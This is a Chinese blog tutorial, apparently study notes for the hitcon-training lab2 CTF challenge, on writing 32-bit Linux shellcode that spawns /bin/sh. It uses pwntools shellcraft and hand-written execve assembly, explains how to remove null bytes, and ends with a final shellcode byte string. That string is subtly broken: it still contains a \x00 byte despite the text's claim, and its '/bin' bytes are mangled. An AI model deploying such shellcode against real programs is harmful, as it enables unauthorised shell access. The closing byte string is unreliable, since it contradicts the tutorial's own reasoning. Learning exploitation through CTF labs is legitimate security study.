编写shellcode的几种姿势

今天开始在做hitcon-training的题目,做到lab2就发现了自己的知识盲区,遇到无法执行shell的情况,需要自己打shellcode执行cat flag 操作

经过一系列的搜索,发现了几种编写shellcode的方法:

首先,就可以用pwntools来编写:

1.asm 进行汇编,使用参数来指定cpu类型以及操作系统

32位linux:

asm("mov eax, SYS_select", arch = 'i386', os = 'linux')

'\xb8]\x00\x00\x00'

64位linux:

asm("mov eax, SYS_select", arch = 'amd64', os = 'linux')

'\xb8\x17\x00\x00\x00'

2shellcode生成器

32位:shellcraft.i386.linux.sh()

64位:shellcraft.amd64.linux.sh()

第二种方法就是用汇编来写:

假设我们现在要写一个shellcode,用来执行 execve("/bin/sh",0)

执行系统调用首先要知道调用函数对应的系统调用号,32位linux内核的系统调用表可以通过http://syscalls.kernelgrok.com/网站来查询,我们这里获得shell只需用到execve函数,从表中可以看到execve的调用号是0x0b,需要把这个0x0b传给eax,接着执行 int 0x80软中断,也就是系统中断,根据中断号和相关寄存器设置调用对应系统函数

编写shellcode的几种姿势_第1张图片

第一步,就是需要将系统调用号加入到eax中。

第二步,ebx用于保存函数调用的第一个参数(ecx存放第二个参数,edx存放第三个参数,esi存放第四个参数,edi存放第五个参数)

如果参数个数超过5个,那么就必须将参数数组存储在内存中,而且必须将该数组的地址存储在ebx中。

一旦加载寄存器之后,就会调用int 0x80 汇编指令来发出软中断,强迫内核暂停手头上的工作并处理该中断。

在这里,第1个参数ebx,刚好是“/bin/sh”;第2个参数ecx是一个指针数组,第一个元素是第一个参数地址,第二个元素为空;第3个参数是edx为空。最后execve的系统调用号就放在了寄存器eax中=0xb。

接着我们就开始编写shellcode了:

global _start

_start:

mov eax,0   #eax置0

mov edx,0   #edx置0

push edx #也就是  execve()中的第三个参数,由于是入栈,所以最先入的是最后一个参数

push "/sh"  

push "/bin" #将/bin/sh存入栈中

mov ebx,esp  #ebx指向/bin/sh字符串,保存了/bin/sh的地址

xor eax,eax   #xor异或运算使eax清0,xor eax,eax 指令为2字节而mov eax,0 指令为5个字节一般用效率高的xor

mov al,0Bh ;eax的低位置为execve函数中断号

int 80h


编写shellcode的几种姿势_第2张图片

保存为shellcode.asm,通过编译链接,然后运行,获得shell


编写shellcode的几种姿势_第3张图片

使用 objdump -d 获得机器码


编写shellcode的几种姿势_第4张图片

我们发现机器码中有许多/x00字节,shellcode中存在/x00字节在进行利用的时候会被截断Shellcode如果存储在堆或是栈的内存中,这样在shellcode执行时就不能出现\x00这样的阶段字符,这就需要我们在构造shellcode时防止此类坏字符的出现。所以我们要避免出现/x00字节,重新修改我们的汇编程序

global _start

_start:

xor ecx,ecx  使用这种方法清零就不会出现\x00

xor edx,edx

push edx

push "/sh"

push "/bin"

mov ebx,esp

xor eax,eax

mov al,0Bh

int 80h

编译链接运行,得到机器码


编写shellcode的几种姿势_第5张图片

需要注意的是,编译后,0x68732f实际上就是字符串“hs/”,而0x6e69622f是“nib/”

这是因为32位的程序采用的小端序存储,所以参数字符都是倒过来的

没有出现/x00字节,得到最终的 shellcode = "\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x00\x68\x2f\x62\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"

通过这种方法,我们就把shellcode写出来了,若是想调用其他的函数或者执行其他的语句,也可以用这种方式,具体这里有一道题目可以拿来练练手,hitcon-training-lab2

你可能感兴趣的:(编写shellcode的几种姿势)